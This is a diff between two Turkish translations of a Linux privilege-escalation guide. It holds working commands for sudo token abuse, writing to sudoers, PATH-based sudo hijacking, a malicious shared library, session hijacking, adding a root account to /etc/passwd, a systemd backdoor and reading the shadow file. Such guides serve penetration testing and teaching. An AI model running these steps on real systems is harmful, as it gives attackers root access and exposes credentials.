-896,13 +920,13 @@ Aşağıdaki gibi bir hata alırsanız ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` -bu, oluşturduğunuz kütüphanenin `a_function_name` adlı bir fonksiyon içermesi gerektiği anlamına gelir. +bu, oluşturduğunuz kütüphanenin `a_function_name` adlı bir fonksiyona sahip olması gerektiği anlamına gelir. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) yerel güvenlik kısıtlamalarını aşmak için bir saldırgan tarafından sömürülebilecek Unix ikili dosyalarının derlenmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise bir komutta **yalnızca argüman enjekte edebildiğiniz** durumlar için aynıdır. +[**GTFOBins**](https://gtfobins.github.io) yerel güvenlik kısıtlamalarını aşmak için bir saldırgan tarafından kötüye kullanılabilecek Unix ikili dosyalarının seçilmiş bir listesidir. [**GTFOArgs**](https://gtfoargs.github.io/) ise aynı şeydir fakat bir komutta **sadece argümanları enjekte edebildiğiniz** durumlar için. -The project collects legitimate functions of Unix binaries that can be abused to break out restricted shells, escalate or maintain elevated privileges, transfer files, spawn bind and reverse shells, and facilitate the other post-exploitation tasks. +Proje, kısıtlı shell'lerden çıkmak, ayrıcalıkları yükseltmek veya korumak, dosya aktarmak, bind ve reverse shells oluşturmak ve diğer post-exploitation görevlerini kolaylaştırmak için kötüye kullanılabilecek Unix ikili dosyalarının meşru fonksiyonlarını toplar. > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -921,60 +945,60 @@ https://gtfoargs.github.io/ ### FallOfSudo -Eğer `sudo -l`'ye erişebiliyorsanız, herhangi bir sudo kuralını nasıl sömürebileceğini kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz. +Eğer `sudo -l`'ye erişebiliyorsanız, herhangi bir sudo kuralını nasıl sömürebileceğini bulup bulmadığını kontrol etmek için [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) aracını kullanabilirsiniz. -### Sudo Token'larını Yeniden Kullanma +### Reusing Sudo Tokens -Şifreye sahip olmadığınız ama **sudo erişiminiz** olduğu durumlarda, bir sudo komutunun çalıştırılmasını **bekleyip ardından oturum token'ını ele geçirerek** ayrıcalıkları yükseltebilirsiniz. +Parolaya sahip olmadan **sudo erişimi**'niz olduğu durumlarda, **sudo komutunun çalıştırılmasını bekleyip oturum token'ını ele geçirerek** ayrıcalıkları yükseltebilirsiniz. -Ayrıcalıkları yükseltmek için gereksinimler: +Requirements to escalate privileges: -- Zaten _sampleuser_ kullanıcısı olarak bir shell'e sahip olmalısınız -- _sampleuser_ son **15 dakika** içinde bir şey çalıştırmak için **`sudo` kullanmış olmalı** (varsayılan olarak bu, şifre girmeden `sudo` kullanmamıza izin veren sudo tokenının süresidir) +- Zaten _sampleuser_ kullanıcısı olarak bir shell'e sahipsiniz +- _sampleuser_ son **15 dakika** içinde bir şey çalıştırmak için **`sudo` kullanmış olmalı** (varsayılan olarak bu, parola girmeden `sudo` kullanmamıza izin veren sudo token'ının süresidir) - `cat /proc/sys/kernel/yama/ptrace_scope` 0 olmalı - `gdb` erişilebilir olmalı (yükleyebilmelisiniz) -(Geçici olarak `ptrace_scope`'u `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ile etkinleştirebilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf`'u değiştirip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz) +(Geçici olarak `ptrace_scope`'u `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ile etkinleştirebilir veya kalıcı olarak `/etc/sysctl.d/10-ptrace.conf` dosyasını değiştirip `kernel.yama.ptrace_scope = 0` olarak ayarlayabilirsiniz) -Tüm bu gereksinimler karşılanıyorsa, **ayrıcalıkları şu aracı kullanarak yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- İlk **exploit** (`exploit.sh`) _/tmp_ içinde `activate_sudo_token` ikili dosyasını oluşturacak. Bunu oturumunuzdaki sudo tokenını **aktifleştirmek** için kullanabilirsiniz (otomatik olarak bir root shell alamazsınız, `sudo su` yapın): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **İkinci exploit** (`exploit_v2.sh`) _/tmp_ içinde **root'a ait ve setuid ile** bir sh shell oluşturacak +- İkinci **exploit** (`exploit_v2.sh`) _/tmp_ içinde sh shell oluşturacak ve **setuid ile root tarafından sahip olunan** ```bash bash exploit_v2.sh /tmp/sh -p ``` -- Bu **üçüncü exploit** (`exploit_v3.sh`) **bir sudoers dosyası oluşturacak** ve bu dosya **sudo tokenlerini süresiz hale getirir ve tüm kullanıcıların sudo kullanmasına izin verir** +- Bu **üçüncü exploit** (`exploit_v3.sh`) **bir sudoers file oluşturacak**; bu, **sudo tokens'ı kalıcı hale getirir ve tüm kullanıcıların sudo kullanmasına izin verir** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -Eğer klasörde veya klasör içindeki oluşturulmuş herhangi bir dosyada **yazma izinlerine** sahipseniz [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikilisini kullanarak **bir kullanıcı ve PID için sudo token oluşturabilirsiniz**.\ -Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve PID'si 1234 olan o kullanıcı olarak bir shell'e sahipseniz, şifreyi bilmenize gerek olmadan **sudo ayrıcalıklarını elde edebilirsiniz** şu işlemi yaparak: +Eğer klasörde veya klasör içindeki oluşturulan dosyaların herhangi birinde **yazma iznine** sahipseniz, ikili [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) kullanarak **bir kullanıcı ve PID için sudo token'ı oluşturabilirsiniz**.\ +Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve PID 1234 olan o kullanıcı olarak bir shell'e sahipseniz, parola bilmenize gerek kalmadan **sudo ayrıcalıkları elde edebilirsiniz** şu işlemi yaparak: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -`/etc/sudoers` dosyası ve `/etc/sudoers.d` içindeki dosyalar kimin `sudo` kullanabileceğini ve nasıl kullanacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\ -**Eğer** bu dosyayı **okuyabiliyorsanız** **bazı ilginç bilgiler edinebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** ayrıcalıkları **yükseltebilirsiniz**. +Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar kimin `sudo` kullanabileceğini ve nasıl kullanacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\\ +**Eğer** bu dosyayı **okuyabiliyorsanız** bazı ilginç bilgiler **edinebilirsiniz**, ve eğer herhangi bir dosyayı **yazabiliyorsanız** **escalate privileges** yapabilirsiniz. ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -Eğer yazabiliyorsanız, bu izni kötüye kullanabilirsiniz. +Yazabiliyorsanız, bu izni suistimal edebilirsiniz. ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README ``` -Bu izinleri kötüye kullanmanın bir başka yolu: +Bu izinleri kötüye kullanmanın bir diğer yolu: ```bash # makes it so every terminal can sudo echo "Defaults !tty_tickets" > /etc/sudoers.d/win @@ -983,17 +1007,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD için `doas` gibi `sudo` ikili dosyasına bazı alternatifler vardır; yapılandırmasını `/etc/doas.conf`'ta kontrol etmeyi unutmayın. +sudo ikili dosyasına bazı alternatifler vardır; OpenBSD için doas gibi. Yapılandırmasını `/etc/doas.conf`'da kontrol etmeyi unutmayın. ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Eğer bir **kullanıcının genellikle bir makineye bağlanıp yetki yükseltmek için `sudo` kullandığını** ve o kullanıcı bağlamında bir shell elde ettiğinizi biliyorsanız, root olarak kodunuzu çalıştırıp sonra kullanıcının komutunu çalıştıracak bir **yeni sudo yürütülebilir dosyası** oluşturabilirsiniz. Sonra kullanıcı bağlamının **$PATH**'ini (örneğin yeni yolu .bash_profile içine ekleyerek) değiştirin; böylece kullanıcı sudo komutunu çalıştırdığında sizin sudo yürütülebilir dosyanız çalıştırılır. +Eğer bir **kullanıcının genellikle bir makineye bağlanıp ayrıcalıkları yükseltmek için `sudo` kullandığını** ve o kullanıcı bağlamında bir shell elde ettiğinizi biliyorsanız, root olarak kodunuzu çalıştırıp sonra kullanıcının komutunu yürütecek yeni bir sudo executable oluşturabilirsiniz. Sonra, kullanıcı bağlamının $PATH'ini (örneğin yeni yolu .bash_profile içine ekleyerek) değiştirin; böylece kullanıcı sudo'yu çalıştırdığında sizin sudo executable'ınız çalıştırılır. -Kullanıcının farklı bir shell (bash değil) kullanması durumunda yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekecektir. Örneğin[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. +Not: Kullanıcı farklı bir shell (bash olmayan) kullanıyorsa yeni yolu eklemek için diğer dosyaları değiştirmeniz gerekir. Örneğin [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. -Veya şöyle bir şeyi çalıştırmak: +Ya da şöyle bir şey çalıştırmak: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib'i `/var/tmp/flag15/` dizinine kopyaladığınızda, `RPATH` değişkeninde belirtildiği üzere program bu konumdaki lib'i kullanacaktır. +lib'i `/var/tmp/flag15/` dizinine kopyalayarak, `RPATH` değişkeninde belirtildiği gibi program tarafından bu konumda kullanılacaktır. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1044,7 +1068,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -Ardından `/var/tmp` içine kötü amaçlı bir kütüphane oluşturun: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` +Ardından `/var/tmp` dizinine `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` ile kötü amaçlı bir kütüphane oluşturun. ```c #include #define SHELL "/bin/sh" @@ -1059,8 +1083,8 @@ execve(file,argv,0); ``` ## Yetkiler -Linux capabilities, bir sürece mevcut root ayrıcalıklarının bir **alt kümesini sağlar**. Bu, root **ayrıcalıklarını daha küçük ve ayrı birimlere böler**. Bu birimlerin her biri daha sonra süreçlere bağımsız olarak verilebilir. Bu şekilde ayrıcalıkların tam kümesi azaltılır ve exploitation riskleri düşer.\ -Aşağıdaki sayfayı okuyarak **capabilities hakkında ve bunların nasıl abuse edileceği hakkında daha fazla bilgi edinin**: +Linux capabilities provide a **process'e sağlanan root ayrıcalıklarının bir alt kümesini**. Bu, root **ayrıcalıklarını daha küçük ve ayrı birimlere** ayırır. Bu birimlerin her biri daha sonra bağımsız olarak süreçlere verilebilir. Böylece tüm ayrıcalık seti azaltılır ve istismar riskleri düşürülür.\ +Aşağıdaki sayfayı okuyarak **capabilities ve bunların nasıl kötüye kullanılacağı** hakkında daha fazla bilgi edinin: {{#ref}} @@ -1069,32 +1093,32 @@ linux-capabilities.md ## Dizin izinleri -Bir dizinde, **bit for "execute"** etkilenen kullanıcının "**cd**" ile klasöre girebileceği anlamına gelir.\ -**"read"** biti kullanıcının **files**'ları **list** edebileceğini, ve **"write"** biti kullanıcının **files**'ları **delete** ve **create** edebileceğini ifade eder. +Bir dizinde, **bit for "execute"** etkilenen kullanıcının "**cd**" ile klasöre girebileceğini ifade eder.\ +**"read"** biti kullanıcının **dosyaları listeleyebileceğini**, ve **"write"** biti kullanıcının **dosyaları silebileceğini** ve **yeni dosyalar oluşturabileceğini** ifade eder. ## ACLs -Access Control Lists (ACLs), isteğe bağlı izinlerin ikincil katmanını temsil eder ve **overriding the traditional ugo/rwx permissions** yeteneğine sahiptir. Bu izinler, sahip olmayan veya grup üyesi olmayan belirli kullanıcılara haklar verip reddederek dosya veya dizin erişimi üzerinde kontrolü artırır. Bu düzeydeki **granularity daha kesin erişim yönetimi sağlar**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Access Control Lists (ACLs) keyfi izinlerin ikincil katmanını temsil eder ve geleneksel ugo/rwx izinlerini **geçersiz kılabilir**. Bu izinler, sahip olmayan veya grubun parçası olmayan belirli kullanıcılara haklar verip reddederek dosya veya dizin erişimi üzerinde kontrolü artırır. Bu düzeydeki **ayrıntılı kontrol daha hassas erişim yönetimi sağlar**. Daha fazla detay için [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Give** user "kali" read and write permissions over a file: +**Kullanıcı "kali"ya bir dosya üzerinde read ve write izinleri verin:** ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**Elde et** sistemden belirli ACL'lere sahip dosyaları: +**Alın** sistemden belirli ACL'lere sahip dosyaları: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## Açık shell oturumları -**eski sürümlerde** farklı bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\ -**en yeni sürümlerde** yalnızca **kendi kullanıcı hesabınızın** **screen sessions**'larına **connect** olabilirsiniz. Ancak, **oturumun içinde ilginç bilgiler** bulabilirsiniz. +**Eski sürümlerde** farklı bir kullanıcının (**root**) bazı **shell** oturumlarını **hijack** edebilirsiniz.\ +**Yeni sürümlerde** yalnızca **kendi kullanıcınızın** screen oturumlarına **bağlanabileceksiniz**. Ancak oturumun içinde **ilginç bilgiler** bulabilirsiniz. -### screen sessions hijacking +### screen oturumları hijacking -**screen sessions listele** +**screen oturumlarını listele** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1107,9 +1131,9 @@ screen -dr #The -d is to detach whoever is attached to it screen -dr 3350.foo #In the example of the image screen -x [user]/[session id] ``` -## tmux sessions hijacking +## tmux oturumlarını ele geçirme -Bu, **eski tmux sürümleri** ile ilgili bir sorundu. Ayrıcalıklı olmayan bir kullanıcı olarak, root tarafından oluşturulmuş bir tmux (v2.1) oturumunu ele geçiremedim. +Bu, **eski tmux sürümleri** ile ilgili bir problemdi. root tarafından oluşturulan tmux (v2.1) oturumunu ayrıcalıksız bir kullanıcı olarak ele geçiremedim. **tmux oturumlarını listele** ```bash @@ -1119,7 +1143,7 @@ tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session i ``` ![](<../../images/image (837).png>) -**Oturuma bağlan** +**Bir session'a bağlan** ```bash tmux attach -t myname #If you write something in this session it will appears in the other opened one tmux attach -d -t myname #First detach the session from the other console and then access it yourself @@ -1129,53 +1153,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** için bir örneğe bakın. +Check **Valentine box from HTB**'ı kontrol edin. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) oluşturulan tüm SSL ve SSH anahtarları bu hatadan etkilenmiş olabilir.\ -Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken ortaya çıkar; çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olduğunuzda karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +All SSL and SSH keys generated on Debian based systems (Ubuntu, Kubuntu, etc) between September 2006 and May 13th, 2008 may be affected by this bug.\ +Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken ortaya çıkar, çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği ve **ssh public key'e sahip olarak karşılık gelen private key'i arayabileceğiniz** anlamına gelir. Hesaplanmış olasılıkları şurada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values -- **PasswordAuthentication:** Parola doğrulamasına izin verilip verilmediğini belirtir. Varsayılan `no`. -- **PubkeyAuthentication:** Public key doğrulamasına izin verilip verilmediğini belirtir. Varsayılan `yes`. -- **PermitEmptyPasswords**: Parola doğrulaması izinliyse, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`. +- **PasswordAuthentication:** Parola ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `no`. +- **PubkeyAuthentication:** Public key ile kimlik doğrulamanın izin verilip verilmediğini belirtir. Varsayılan `yes`. +- **PermitEmptyPasswords**: Parola ile kimlik doğrulama izinliyse, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`. ### PermitRootLogin -root'un ssh ile oturum açıp açamayacağını belirtir, varsayılan `no`. Olası değerler: +Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`. Olası değerler: - `yes`: root parola ve private key ile giriş yapabilir -- `without-password` veya `prohibit-password`: root sadece private key ile giriş yapabilir -- `forced-commands-only`: root sadece private key ile ve komut seçenekleri belirtilmişse giriş yapabilir +- `without-password` or `prohibit-password`: root sadece private key ile giriş yapabilir +- `forced-commands-only`: Root sadece private key kullanarak ve commands seçenekleri belirtilmişse giriş yapabilir - `no` : hayır ### AuthorizedKeysFile -Kullanıcı doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi tokenlar içerebilir; bunlar home dizini ile değiştirilir. **Mutlak yolları belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının home dizininden göreli yollar**. Örneğin: +Kullanıcı kimlik doğrulaması için kullanılabilecek public key'leri içeren dosyaları belirtir. `%h` gibi home dizini ile değiştirilecek token'lar içerebilir. **Mutlak yollar belirtebilirsiniz** ( `/` ile başlayan) veya **kullanıcının home dizininden göreli yollar**. Örneğin: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Bu yapılandırma, eğer kullanıcı "**testusername**"ın **private** anahtarıyla giriş yapmayı denerseniz, ssh anahtarınızın public key'ini `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` içindekilerle karşılaştıracağını belirtir. +Bu yapılandırma, eğer "**testusername**" kullanıcısının **private** key'i ile giriş yapmaya çalışırsanız, ssh'in key'inizin public key'ini `/home/testusername/.ssh/authorized_keys` ve `/home/testusername/access` içindekilerle karşılaştıracağını belirtir. ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding, sunucunuzda anahtarları (without passphrases!) bırakmak yerine **use your local SSH keys instead of leaving keys** kullanmanıza olanak tanır. Böylece ssh ile **jump** **to a host** yapabilir ve oradan **jump to another** **host**a, **initial host**'unuzda bulunan **key**i **using** ederek ulaşabilirsiniz. +SSH agent forwarding size sunucunuzda (without passphrases!) keys bırakmak yerine **use your local SSH keys instead of leaving keys** imkânı verir. Böylece ssh ile bir **host**'a **jump** yapabilir ve oradan **initial host**'unuzda bulunan **key**'i kullanarak başka bir **host**'a **jump** edebilirsiniz. Bu seçeneği `$HOME/.ssh.config` içinde şu şekilde ayarlamanız gerekir: ``` Host example.com ForwardAgent yes ``` -Dikkat edin ki eğer `Host` `*` ise, kullanıcı her farklı makineye geçtiğinde o makine anahtarlara erişebilecektir (bu bir güvenlik sorunudur). +Dikkat: Eğer `Host` `*` ise kullanıcı her farklı makineye geçtiğinde o host anahtarlara erişebilecektir (bu bir güvenlik sorunudur). -Dosya `/etc/ssh_config` bu seçenekleri **geçersiz kılabilir** ve bu yapılandırmaya izin verebilir veya engelleyebilir.\ -Dosya `/etc/sshd_config`, `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine **izin verebilir** veya **engelleyebilir** (varsayılan izin ver). +The file `/etc/ssh_config` can **geçersiz kılabilir** this **options** and allow or denied this configuration.\ +The file `/etc/sshd_config` can **allow** or **denied** ssh-agent forwarding with the keyword `AllowAgentForwarding` (varsayılan: izin verilir). -Eğer bir ortamda Forward Agent yapılandırıldığını görürseniz, aşağıdaki sayfayı okuyun çünkü **bunu kötüye kullanarak yetki yükseltmesi yapabilirsiniz**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1186,69 +1210,69 @@ ssh-forward-agent-exploitation.md ### Profil dosyaları -Dosya `/etc/profile` ve `/etc/profile.d/` altındaki dosyalar, bir kullanıcı yeni bir shell çalıştırdığında **çalıştırılan betiklerdir**. Bu nedenle, eğer bunlardan herhangi birini **yazabiliyor veya değiştirebiliyorsanız yetki yükseltmesi yapabilirsiniz**. +The file `/etc/profile` and the files under `/etc/profile.d/` are **kullanıcı yeni bir shell başlattığında çalıştırılan script'lerdir**. Therefore, if you can **write or modify any of them you can escalate privileges**. ```bash ls -l /etc/profile /etc/profile.d/ ``` -Herhangi tuhaf bir profile script bulunursa bunu **hassas detaylar** için kontrol etmelisiniz. +Herhangi tuhaf bir profile script bulunursa, onu **hassas bilgiler** için kontrol etmelisiniz. ### Passwd/Shadow Dosyaları -İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isimle olabilir veya bir yedeği bulunabilir. Bu yüzden **tümünü bulun** ve içlerinde **hashes** olup olmadığını görmek için **okuyup okuyamadığınızı kontrol edin**: +İşletim sistemine bağlı olarak `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir adla bulunabilir veya bir yedeği olabilir. Bu yüzden **tümünü bulmanız** ve dosyaların içinde **hash** olup olmadığını görmek için **okuyup okuyamadığınızı kontrol etmeniz** önerilir: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Bazı durumlarda `/etc/passwd` (veya eşdeğeri) dosyasında **password hashes** bulabilirsiniz. +Bazı durumlarda `/etc/passwd` (veya eşdeğer) dosyasında **password hashes** bulunabilir. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` ### Yazılabilir /etc/passwd -Öncelikle, aşağıdaki komutlardan biriyle bir parola oluşturun. +Önce, aşağıdaki komutlardan biriyle bir parola oluşturun. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Ardından `hacker` kullanıcısını ekleyin ve oluşturulan parolayı ekleyin. +Ardından `hacker` kullanıcısını ekleyin ve oluşturulan şifreyi ekleyin. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Örnek: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Örneğin: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` Artık `su` komutunu `hacker:hacker` ile kullanabilirsiniz Alternatif olarak, parola olmadan bir sahte kullanıcı eklemek için aşağıdaki satırları kullanabilirsiniz.\ -UYARI: makinenin mevcut güvenliğini zayıflatabilirsiniz. +UYARI: bu, makinenin mevcut güvenliğini düşürebilir. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd`'de bulunur; ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. +NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd` konumlarında bulunur, ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. -Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bazı **servis yapılandırma dosyalarına** yazabiliyor musunuz? +Bazı hassas dosyalara **yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bir **servis yapılandırma dosyasına** yazabiliyor musunuz? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -Örneğin, eğer makinede bir **tomcat** sunucusu çalışıyorsa ve **/etc/systemd/ içindeki Tomcat servis yapılandırma dosyasını değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz: +Örneğin, eğer makine bir **tomcat** server çalıştırıyor ve **Tomcat servis yapılandırma dosyasını /etc/systemd/ içinde değiştirebiliyorsanız,** o zaman şu satırları değiştirebilirsiniz: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -Backdoor'unuz, tomcat bir sonraki başlatılışında çalıştırılacaktır. +Backdoor'unuz tomcat bir sonraki başlatıldığında çalıştırılacaktır. -### Klasörleri Kontrol Edin +### Klasörleri Kontrol Et Aşağıdaki klasörler yedekler veya ilginç bilgiler içerebilir: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Muhtemelen sonuncusunu okuyamayacaksınız ama deneyin) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Tuhaf Konum/Owned dosyalar +### Garip Konum/Owned dosyalar ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1281,7 +1305,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH içindeki Script/Binaries** +### **PATH'teki Script/Binaries** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1293,24 +1317,24 @@ ls -alhR /srv/www/htdocs/ 2>/dev/null ls -alhR /usr/local/www/apache22/data/ ls -alhR /opt/lampp/htdocs/ 2>/dev/null ``` -### **Yedekler** +### **Yedeklemeler** ```bash find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/null ``` -### Passwords içeren bilinen dosyalar +### Parola içerebilecek bilinen dosyalar -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) kodunu inceleyin; **passwords içerebilecek birkaç olası dosyayı** arar.\ -**Başka ilginç bir araç** olarak kullanabileceğiniz: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — yerel bir bilgisayarda saklanan çok sayıda passwords elde etmek için kullanılan açık kaynaklı bir uygulamadır (Windows, Linux & Mac). +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)'in kodunu inceleyin; **parola içerebilecek birkaç muhtemel dosya** arar.\ +**Kullanabileceğiniz başka ilginç bir araç** şudur: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows, Linux & Mac için yerel bir bilgisayarda saklanan birçok parolayı almak amacıyla kullanılan açık kaynaklı bir uygulamadır. -### Logs +### Loglar -Logs'ları okuyabiliyorsanız, içlerinde **ilginç/gizli bilgiler** bulabilirsiniz. Log ne kadar garipse, muhtemelen o kadar ilginç olacaktır (probably).\ -Ayrıca, bazı **bad** yapılandırılmış (backdoored?) **audit logs** size, bu gönderide açıklandığı gibi audit logs içine **record passwords** yapma imkanı verebilir: https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/. +Logları okuyabiliyorsanız, içinde **ilginç/gizli bilgiler** bulabilirsiniz. Log ne kadar garipse, muhtemelen o kadar ilginç olur.\ +Ayrıca, bazı "**kötü**" yapılandırılmış (backdoored?) **audit logs**, audit loglara parolaları **kaydetmenize** olanak tanıyabilir; bunun nasıl yapıldığını bu yazıda görebilirsiniz: 